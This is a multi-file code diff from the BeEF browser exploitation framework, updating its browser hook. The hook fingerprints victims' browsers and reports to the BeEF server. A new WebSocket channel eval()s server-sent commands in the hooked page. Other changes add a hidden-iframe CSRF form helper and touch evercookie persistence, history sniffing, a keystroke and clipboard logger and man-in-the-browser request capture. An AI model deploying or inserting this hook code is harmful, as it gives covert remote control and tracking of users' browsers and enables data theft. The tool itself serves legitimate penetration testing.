FF13: this.isFF13(), // Firefox 13
FF: this.isFF(), // Firefox any version
IE6: this.isIE6(), // Internet Explorer 6
@@ -468,6 +477,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
if (this.isFF10()) { return '10' }; // Firefox 10
if (this.isFF11()) { return '11' }; // Firefox 11
if (this.isFF12()) { return '12' }; // Firefox 12
if (this.isFF13()) { return '13' }; // Firefox 13
if (this.isIE6()) { return '6' }; // Internet Explorer 6
if (this.isIE7()) { return '7' }; // Internet Explorer 7
@@ -597,29 +607,37 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
* Returns the list of plugins installed in the browser.
*/
getPlugins: function() {
var results = '';
if (this.isIE())
{
results = this.getPluginsIE();
} else {
if (navigator.plugins && navigator.plugins.length > 0)
{
var length = navigator.plugins.length;
for (var i=0; i < length; i++)
{
if (i != 0)
results += '\n';
if(beef.browser.isFF()){ //FF returns exact plugin versions
results += navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
}else{ // Webkit and Presto (Opera) doesn't support the version attribute, and
// sometimes they store plugin version in description (Real, Adobe)
results += navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
}
} else {
results = 'navigator.plugins is not supported in this browser!';
}
}
var results;
Array.prototype.unique = function() {
var o = {}, i, l = this.length, r = [];
for(i=0; i<l;i+=1) o[this[i]] = this[i];
for(i in o) r.push(o[i]);
return r;
};
// Internet Explorer
if (this.isIE()) this.getPluginsIE();
// All other browsers that support navigator.plugins
else if (navigator.plugins && navigator.plugins.length > 0) {
results = new Array();
for (var i=0; i < navigator.plugins.length; i++) {
// Firefox returns exact plugin versions
if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
// Webkit and Presto (Opera)
// Don't support the version attribute
// Sometimes store the version in description (Real, Adobe)
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
results = results.unique().toString();
// All browsers that don't support navigator.plugins
} else results = 'navigator.plugins is not supported in this browser!';
// Return results
return results;
},
@@ -696,7 +714,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
/**
* Returns zombie screen size and color depth.
*/
getScreenParams: function() {
getScreenSize: function() {
return {
width: window.screen.width,
height: window.screen.height,
@@ -745,10 +763,11 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
var hostname = document.location.hostname;
var hostport = (document.location.port)? document.location.port : "80";
var browser_plugins = beef.browser.getPlugins();
var date_stamp = new Date().toString();
var os_name = beef.os.getName();
var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;});
var screen_params = beef.browser.getScreenParams();
var screen_size = beef.browser.getScreenSize();
var window_size = beef.browser.getWindowSize();
var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No";
var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No";
@@ -770,9 +789,10 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
if(hostport) details["HostPort"] = hostport;
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
if(os_name) details['OsName'] = os_name;
if(date_stamp) details['DateStamp'] = date_stamp;
if(system_platform) details['SystemPlatform'] = system_platform;
if(browser_type) details['BrowserType'] = browser_type;
if(screen_params) details['ScreenParams'] = screen_params;
if(screen_size) details['ScreenSize'] = screen_size;
if(window_size) details['WindowSize'] = window_size;
if(java_enabled) details['JavaEnabled'] = java_enabled;
if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled

View File

@@ -25,7 +25,7 @@ beef.browser.popup = {
blocker_enbabled: function ()
{
screenParams = beef.browser.getScreenParams();
screenParams = beef.browser.getScreenSize();
var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
if (popUp == null || typeof(popUp)=='undefined') {
return true;
@@ -36,4 +36,4 @@ beef.browser.popup = {
}
};
beef.regCmp('beef.browser.popup');
beef.regCmp('beef.browser.popup');

View File

@@ -286,10 +286,37 @@ beef.dom = {
*/
detachApplet: function(id) {
$j('#' + id + '').detach();
},
/**
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
* @params: {String} action: the form action attribute, where the request will be sent.
* @params: {String} method: HTTP method, usually POST.
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
*/
createIframeXsrfForm: function(action, method, inputs){
var iframeXsrf = beef.dom.createInvisibleIframe();
var formXsrf = document.createElement('form');
formXsrf.setAttribute('action', action);
formXsrf.setAttribute('method', method);
var input = null;
for (i in inputs){
var attributes = inputs[i];
input = document.createElement('input');
for(key in attributes){
input.setAttribute(key, attributes[key]);
}
formXsrf.appendChild(input);
}
iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
formXsrf.submit();
return iframeXsrf;
}
};
beef.regCmp('beef.dom');

View File

@@ -156,6 +156,6 @@ beef.encode.base64 = {
return string;
}
}
};
beef.regCmp('beef.encode.base64');

View File

@@ -18,9 +18,15 @@
beef.encode.json = {
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify)
return JSON.stringify(o);
if (typeof(JSON) == 'object' && JSON.stringify) {
// Error on stringifying cylcic structures caused polling to die
try {
s = JSON.stringify(o);
} catch(error) {
// TODO log error / handle cyclic structures?
}
return s;
}
var type = typeof(o);
if (o === null)
@@ -126,9 +132,9 @@ beef.encode.json = {
'"' : '\\"',
'\\': '\\\\'
}
}
};
$j.toJSON = function(o) {return beef.encode.json.stringify(o);}
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);}
$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
beef.regCmp('beef.encode.json');

View File

@@ -13,57 +13,67 @@
// See the License for the specific language governing permissions and
// limitations under the License.
//
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
// and will have a new session id. The new session id will need to know
// the brwoser details. So sendback the browser details again.
BEEFHOOK=beef.session.get_hook_session_id()
BEEFHOOK = beef.session.get_hook_session_id();
if( beef.pageIsLoaded ) {
beef.net.browser_details();
if (beef.pageIsLoaded) {
beef.net.browser_details();
}
window.onload = function() {
beef_init();
}
window.onload = function () {
beef_init();
};
window.onpopstate = function(event) {
if(beef.onpopstate.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onpopstate.length;i++){
var callback = beef.onpopstate[i];
try{
callback(event);
}catch(e){
console.log("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
}
window.onpopstate = function (event) {
if (beef.onpopstate.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onpopstate.length; i++) {
var callback = beef.onpopstate[i];
try {
callback(event);
} catch (e) {
console.log("window.onpopstate - couldn't execute callback: " + e.message);
}
return false;
}
}
};
window.onclose = function(event) {
if(beef.onclose.length > 0) {
event.preventDefault;
for(var i=0;i<beef.onclose.length;i++){
var callback = beef.onclose[i];
try{
callback(event);
}catch(e){
console.log("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
}
window.onclose = function (event) {
if (beef.onclose.length > 0) {
event.preventDefault;
for (var i = 0; i < beef.onclose.length; i++) {
var callback = beef.onclose[i];
try {
callback(event);
} catch (e) {
console.log("window.onclose - couldn't execute callback: " + e.message);
}
return false;
}
}
};
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
beef.net.browser_details()
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
}
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
beef.websocket.start();
beef.net.browser_details();
beef.updater.execute_commands();
beef.logger.start();
}
else {
beef.net.browser_details();
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
}
}
}

View File

@@ -158,14 +158,14 @@ this.get = function(name, cb, dont_reset)
$(document).ready(function() {
self._evercookie(name, cb, undefined, undefined, dont_reset);
});
}
};
this.set = function(name, value)
{
$(document).ready(function() {
self._evercookie(name, function() { }, value);
});
}
};
this._evercookie = function(name, cb, value, i, dont_reset)
{
@@ -273,7 +273,7 @@ this._evercookie = function(name, cb, value, i, dont_reset)
cb(candidate, tmpec);
}
}
}
};
this.evercookie_window = function(name, value)
{
@@ -283,7 +283,7 @@ this.evercookie_window = function(name, value)
else
return this.getFromStr(name, window.name);
} catch(e) { }
}
};
this.evercookie_userdata = function(name, value)
{
@@ -302,7 +302,7 @@ this.evercookie_userdata = function(name, value)
return elm.getAttribute(name);
}
} catch(e) { }
}
};
this.evercookie_cache = function(name, value)
{
@@ -335,7 +335,7 @@ this.evercookie_cache = function(name, value)
}
});
}
}
};
this.evercookie_etag = function(name, value)
{
@@ -368,7 +368,7 @@ this.evercookie_etag = function(name, value)
}
});
}
}
};
this.evercookie_lso = function(name, value)
{
@@ -390,7 +390,7 @@ this.evercookie_lso = function(name, value)
attributes.id = "myswf";
attributes.name = "myswf";
swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
}
};
this.evercookie_png = function(name, value)
{
@@ -453,7 +453,7 @@ this.evercookie_png = function(name, value)
}
}
}
}
};
this.evercookie_local_storage = function(name, value)
{
@@ -468,7 +468,7 @@ this.evercookie_local_storage = function(name, value)
}
}
catch (e) { }
}
};
this.evercookie_database_storage = function(name, value)
{
@@ -506,7 +506,7 @@ this.evercookie_database_storage = function(name, value)
}
}
} catch(e) { }
}
};
this.evercookie_session_storage = function(name, value)
{
@@ -520,7 +520,7 @@ this.evercookie_session_storage = function(name, value)
return sessionStorage.getItem(name);
}
} catch(e) { }
}
};
this.evercookie_global_storage = function(name, value)
{
@@ -536,7 +536,7 @@ this.evercookie_global_storage = function(name, value)
return eval("globalStorage[host]." + name);
} catch(e) { }
}
}
};
this.evercookie_silverlight = function(name, value) {
/*
* Create silverlight embed
@@ -566,7 +566,7 @@ this.evercookie_silverlight = function(name, value) {
'</a>' +
'</object>';
document.body.innerHTML+=html;
}
};
// public method for encoding
this.encode = function (input) {
@@ -600,7 +600,7 @@ this.encode = function (input) {
}
return output;
}
};
// public method for decoding
this.decode = function (input) {
@@ -636,7 +636,7 @@ this.decode = function (input) {
return output;
}
};
// private method for UTF-8 encoding
this._utf8_encode = function (string) {
@@ -663,7 +663,7 @@ this._utf8_encode = function (string) {
}
return utftext;
}
};
// private method for UTF-8 decoding
this._utf8_decode = function (utftext) {
@@ -694,7 +694,7 @@ this._utf8_decode = function (utftext) {
}
return string;
}
};
// this is crazy but it's 4am in dublin and i thought this would be hilarious
// blame the guinness
@@ -759,7 +759,7 @@ this.evercookie_history = function(name, value)
return this.decode(val);
}
}
}
};
this.createElem = function(type, name, append)
{
@@ -778,14 +778,14 @@ this.createElem = function(type, name, append)
document.body.appendChild(el);
return el;
}
};
this.createIframe = function(url, name)
{
var el = this.createElem('iframe', name, 1);
el.setAttribute('src', url);
return el;
}
};
// wait for our swfobject to appear (swfobject.js to load)
this.waitForSwf = function(i)
@@ -798,7 +798,7 @@ this.waitForSwf = function(i)
// wait for ~2 seconds for swfobject to appear
if (i < _ec_tests && typeof swfobject == 'undefined')
setTimeout(function() { waitForSwf(i) }, 300);
}
};
this.evercookie_cookie = function(name, value)
{
@@ -810,7 +810,7 @@ this.evercookie_cookie = function(name, value)
}
else
return this.getFromStr(name, document.cookie);
}
};
// get value from param-like string (eg, "x=y&name=VALUE")
this.getFromStr = function(name, text)
@@ -828,7 +828,7 @@ this.getFromStr = function(name, text)
if (c.indexOf(nameEQ) == 0)
return c.substring(nameEQ.length, c.length);
}
}
};
this.getHost = function()
{
@@ -836,7 +836,7 @@ this.getHost = function()
if (domain.indexOf('www.') == 0)
domain = domain.replace('www.', '');
return domain;
}
};
this.toHex = function(str)
{
@@ -852,7 +852,7 @@ this.toHex = function(str)
r += h;
}
return r;
}
};
this.fromHex = function(str)
{
@@ -866,7 +866,7 @@ this.fromHex = function(str)
e = s;
}
return r;
}
};
/*
* css history knocker (determine what sites your visitors have been to)
@@ -901,7 +901,7 @@ this.hasVisited = function(url)
this._testURL("https://" + url, this.no_color) ||
this._testURL("http://www." + url, this.no_color) ||
this._testURL("https://www." + url, this.no_color);
}
};
/* create our anchor tag */
var _link = this.createElem('a', '_ec_rgb_link');
@@ -930,30 +930,28 @@ try {
}
/* if test_color, return -1 if we can't set a style */
this._getRGB = function(u, test_color)
{
if (test_color && created_style == 0)
return -1;
this._getRGB = function (u, test_color) {
if (test_color && created_style == 0)
return -1;
/* create the new anchor tag with the appropriate URL information */
_link.href = u;
_link.innerHTML = u;
// not sure why, but the next two appendChilds always have to happen vs just once
document.body.appendChild(style);
document.body.appendChild(_link);
/* add the link to the DOM and save the visible computed color */
var color;
if (document.defaultView)
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
else
color = _link.currentStyle['color'];
/* create the new anchor tag with the appropriate URL information */
_link.href = u;
_link.innerHTML = u;
// not sure why, but the next two appendChilds always have to happen vs just once
document.body.appendChild(style);
document.body.appendChild(_link);
return color;
}
/* add the link to the DOM and save the visible computed color */
var color;
if (document.defaultView)
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
else
color = _link.currentStyle['color'];
this._testURL = function(url, no_color)
{
return color;
};
this._testURL = function(url, no_color){
var color = this._getRGB(url);
/* check to see if the link has been visited if the computed color is red */

View File

@@ -78,10 +78,10 @@ beef.logger = {
);
document.body.oncopy = function() {
setTimeout("beef.logger.copy();", 10);
}
};
document.body.oncut = function() {
setTimeout("beef.logger.cut();", 10);
}
};
document.body.onpaste = function() {
beef.logger.paste();
}

View File

@@ -177,7 +177,7 @@ beef.mitb = {
target.innerHTML = y.responseText;
setTimeout(beef.mitb.hook, 10);
}
}
};
y.send(query);
beef.mitb.sniff("POST: " + url + "[" + query + "]");
return true;
@@ -227,7 +227,7 @@ beef.mitb = {
target.innerHTML = y.responseText;
setTimeout(beef.mitb.hook, 10);
}
}
};
y.send(null);
beef.mitb.sniff("GET: " + url);
@@ -253,4 +253,6 @@ beef.mitb = {
endSession:function () {
beef.mitb.sniff("Window closed.");
}
}
};
beef.regCmp('beef.mitb');

View File

@@ -20,17 +20,17 @@
*/
beef.net = {
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
handler: '/dh',
chop: 500,
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count: 0,
cmd_queue: [],
host:"<%= @beef_host %>",
port:"<%= @beef_port %>",
hook:"<%= @beef_hook %>",
handler:'/dh',
chop:500,
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count:0,
cmd_queue:[],
//Command object
command: function() {
command:function () {
this.cid = null;
this.results = null;
this.handler = null;
@@ -38,30 +38,30 @@ beef.net = {
},
//Packet object
packet: function() {
packet:function () {
this.id = null;
this.data = null;
},
//Stream object
stream: function() {
stream:function () {
this.id = null;
this.packets = [];
this.pc = 0;
this.get_base_url_length = function() {
this.get_base_url_length = function () {
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
},
this.get_packet_data = function() {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
};
this.get_packet_data = function () {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
},
/**
* Response Object - used in the beef.net.request callback
* Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
*/
response: function() {
response:function () {
this.status_code = null; // 500, 404, 200, 302
this.status_text = null; // success, timeout, error, ...
this.response_body = null; // "<html>…." if not a cross domain request
@@ -73,7 +73,7 @@ beef.net = {
},
//Queues the command, to be sent back to the framework on the next refresh
queue: function(handler, cid, results, callback) {
queue:function (handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command();
s.cid = cid;
@@ -85,13 +85,26 @@ beef.net = {
},
//Queues the current command and flushes the queue straight away
send: function(handler, cid, results, callback) {
this.queue(handler, cid, results, callback);
this.flush();
send:function (handler, cid, results, callback) {
if (typeof beef.websocket === "undefined") {
this.queue(handler, cid, results, callback);
this.flush();
}
else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
}
catch (e) {
this.queue(handler, cid, results, callback);
this.flush();
}
}
},
//Flush all currently queued commands to the framework
flush: function() {
flush:function () {
if (this.cmd_queue.length > 0) {
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
@@ -115,16 +128,16 @@ beef.net = {
},
//Split string into chunk lengths determined by amount
chunk: function(str, amount) {
chunk:function (str, amount) {
if (typeof amount == 'undefined') n = 2;
return str.match(RegExp('.{1,' + amount + '}', 'g'));
},
//Push packets to framework
push: function(stream) {
push:function (stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++) {
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
}
},
@@ -143,10 +156,10 @@ beef.net = {
*
* @return: {Object} response: this object contains the response details
*/
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain){
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
if(document.location.port == "" || document.location.port == null){
cross_domain = !(port == "80" || port == "443");
}
@@ -154,9 +167,9 @@ beef.net = {
//build the url
var url = "";
if(path.indexOf("http://") != -1 || path.indexOf("https://") != -1){
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
url = path;
}else{
} else {
url = scheme + "://" + domain;
url = (port != null) ? url + ":" + port : url;
url = (path != null) ? url + path : url;
@@ -176,26 +189,26 @@ beef.net = {
$j.ajaxSetup({
dataType: dataType
});
}else{ //GET, HEAD, ...
} else {
$j.ajaxSetup({
dataType: 'script'
dataType: 'script'
});
}
//build and execute the request
$j.ajax({type: method,
url: url,
data: data,
timeout: (timeout * 1000),
$j.ajax({type:method,
url:url,
data:data,
timeout:(timeout * 1000),
//needed otherwise jQuery always add Content-type: application/xml, even if data is populated
beforeSend: function(xhr) {
if(method == "POST"){
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
success: function(data, textStatus, xhr) {
success:function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -204,14 +217,14 @@ beef.net = {
response.was_timedout = false;
response.duration = (end_time - start_time);
},
error: function(jqXHR, textStatus, errorThrown) {
error:function (jqXHR, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = jqXHR.responseText;
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
},
complete: function(jqXHR, textStatus) {
complete:function (jqXHR, textStatus) {
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.headers = jqXHR.getAllResponseHeaders();
@@ -226,11 +239,11 @@ beef.net = {
response.port_status = "open";
}
}
}).done(function() {
if (callback != null) {
callback(response);
}
});
}).done(function () {
if (callback != null) {
callback(response);
}
});
return response;
},
@@ -239,13 +252,14 @@ beef.net = {
* - requestid: needed on the callback
* - allowCrossDomain: set cross-domain requests as allowed or blocked
*/
forge_request: function(scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
// check if same domain or cross domain
var cross_domain = true;
if (document.domain == domain) {
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
if(document.location.port == "" || document.location.port == null){
cross_domain = !(port == "80" || port == "443");
cross_domain = !(port == "80" || port == "443");
} else {
if (document.location.port == port) cross_domain = false;
}
@@ -274,20 +288,25 @@ beef.net = {
response.status_text = "crossdomain";
response.port_status = "crossdomain";
response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
callback(response, requestid);
return response;
}
// build and execute the request
if (method == "POST"){
$j.ajaxSetup({
data: data
});
if (method == "POST") {
$j.ajaxSetup({
data:data
});
}
// this is required for bugs in IE so data can be transfered back to the server
if ( beef.browser.isIE() ) {
dataType = 'script'
}
$j.ajax({type: method,
dataType: 'script', // this is required for bugs in IE so data can be transfered back to the server
dataType: dataType,
url: url,
headers: headers,
timeout: (timeout * 1000),
@@ -295,14 +314,14 @@ beef.net = {
// needed otherwise jQuery always adds:
// Content-type: application/xml
// even if data is populated
beforeSend: function(xhr) {
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
// http server responded successfully
success: function(data, textStatus, xhr) {
success:function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
@@ -313,7 +332,7 @@ beef.net = {
// server responded with a http error (403, 404, 500, etc)
// or server is not a http server
error: function(xhr, textStatus, errorThrown) {
error:function (xhr, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = xhr.responseText;
response.status_code = xhr.status;
@@ -321,14 +340,34 @@ beef.net = {
response.duration = (end_time - start_time);
},
complete: function(xhr, textStatus) {
complete:function (xhr, textStatus) {
// cross-domain request
if (cross_domain) {
response.status_code = -1;
response.status_text = "crossdomain";
response.port_status = "crossdomain";
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
response.port_status = "crossdomain";
if (xhr.status != 0) {
response.status_code = xhr.status;
} else {
response.status_code = -1;
}
if (textStatus) {
response.status_text = textStatus;
} else {
response.status_text = "crossdomain";
}
if (xhr.getAllResponseHeaders()) {
response.headers = xhr.getAllResponseHeaders();
} else {
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
if (!response.response_body) {
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
} else {
// same-domain request
response.status_code = xhr.status;
@@ -354,7 +393,7 @@ beef.net = {
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean: function(r) {
clean:function (r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
@@ -365,7 +404,7 @@ beef.net = {
},
//Detects if an array has a string key
array_has_string_key: function(arr) {
array_has_string_key:function (arr) {
if ($j.isArray(arr)) {
try {
for (var key in arr)
@@ -377,7 +416,7 @@ beef.net = {
},
//Sends back browser details to framework
browser_details: function() {
browser_details:function () {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);

View File

@@ -58,7 +58,7 @@ beef.net.dns = {
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
}
};
// encode message
var xor_key = Math.floor(Math.random()*99000+1000);

View File

@@ -23,7 +23,7 @@ beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting.
timeout: 1000,
timeout: 5000,
// A lock.
lock: false,
@@ -51,10 +51,14 @@ beef.updater = {
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
} else {
this.get_commands();
}
else {
this.get_commands(); /*Polling*/
}
}
// ( typeof beef.websocket === "undefined")
setTimeout("beef.updater.check();", beef.updater.timeout);
},
@@ -78,7 +82,8 @@ beef.updater = {
if(beef.commands.length == 0) return;
this.lock = true;
/*here execute the command */
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {
@@ -90,6 +95,6 @@ beef.updater = {
this.lock = false;
}
}
};
beef.regCmp('beef.updater');

View File

@@ -0,0 +1,73 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//beef.websocket.socket.send(take answer to server beef)
/*New browser init call this */
beef.websocket = {
socket:null,
alive_timer:<%= @websocket_timer %>,
init:function () {
var webSocketServer = beef.net.host;
var webSocketPort = <%= @websocket_port %>;
var webSocketSecure = <%= @websocket_secure %>;
var protocol = "ws://";
if(webSocketSecure)
protocol = "wss://";
if (beef.browser.isFF() && !!window.MozWebSocket) {
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
} else {
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
}
},
/* send Helo message to the BeEF server and start async communication*/
start:function () {
new beef.websocket.init();
this.socket.onopen = function () {
//console.log("Socket has been opened!");
/*send browser id*/
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
//console.log("Connected and Helo");
beef.websocket.alive();
}
this.socket.onmessage = function (message) {
//console.log("Received message via WS."+ message.data);
eval(message.data);
}
},
send:function (data) {
this.socket.send(data);
// console.log("Sent [" + data + "]");
},
alive: function (){
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
// console.log("sent alive");
setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
}
};
beef.regCmp('beef.websocket');

View File

@@ -118,7 +118,9 @@ module BeEF
# Load module configurations
def load_modules_config
self.set('beef.module', {})
Dir.glob("#{$root_dir}/modules/**/*/config.yaml") do | cf |
# support nested sub-categories, like browser/hooked_domain/ajax_fingerprint
module_configs = File.join("#{$root_dir}/modules/**", "config.yaml")
Dir.glob(module_configs) do | cf |
y = self.load(cf)
if y != nil
y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(/#{$root_dir}\//, '')

View File

@@ -92,6 +92,7 @@ module Banners
self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array
print_success "running on network interface: #{host}"
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"

View File

@@ -26,6 +26,9 @@ module BeEF
@options[:resetdb] = false
@options[:ascii_art] = false
@options[:ext_config] = ""
@options[:port] = ""
@options[:ws_port] = ""
@already_parsed = false
@@ -53,6 +56,14 @@ module BeEF
opts.on('-c', '--config FILE', 'Load a different configuration file: if it\'s called custom-config.yaml, git automatically ignores it.') do |f|
@options[:ext_config] = f
end
opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p|
@options[:port] = p
end
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
@options[:ws_port] = ws_port
end
end
optparse.parse!

View File

@@ -118,6 +118,14 @@ module BeEF
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
# get and store the date
date_stamp = get_param(@data['results'], 'DateStamp')
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
BD.set(session_id, 'DateStamp', date_stamp)
else
self.err_msg "Invalid date returned from the hook browser's initial connection."
end
# get and store page title
page_title = get_param(@data['results'], 'PageTitle')
if BeEF::Filters.is_valid_pagetitle?(page_title)
@@ -175,11 +183,11 @@ module BeEF
end
# get and store the zombie screen size and color depth
screen_params = get_param(@data['results'], 'ScreenParams')
if BeEF::Filters.is_valid_screen_params?(screen_params)
BD.set(session_id, 'ScreenParams', screen_params)
screen_size = get_param(@data['results'], 'ScreenSize')
if BeEF::Filters.is_valid_screen_size?(screen_size)
BD.set(session_id, 'ScreenSize', screen_size)
else
self.err_msg "Invalid screen params returned from the hook browser's initial connection."
self.err_msg "Invalid screen size returned from the hook browser's initial connection."
end
# get and store the window size

View File

@@ -14,79 +14,78 @@
# limitations under the License.
#
module BeEF
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
@data = {}
# Handles command data
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
# @todo Confirm argument data variable type.
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup()
end
# Initial setup function, creates the command module and saves details to datastore
def setup()
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
@data = {}
# Handles command data
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
# @todo Confirm argument data variable type [radoen]: type is Hash confirmed.
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup()
end
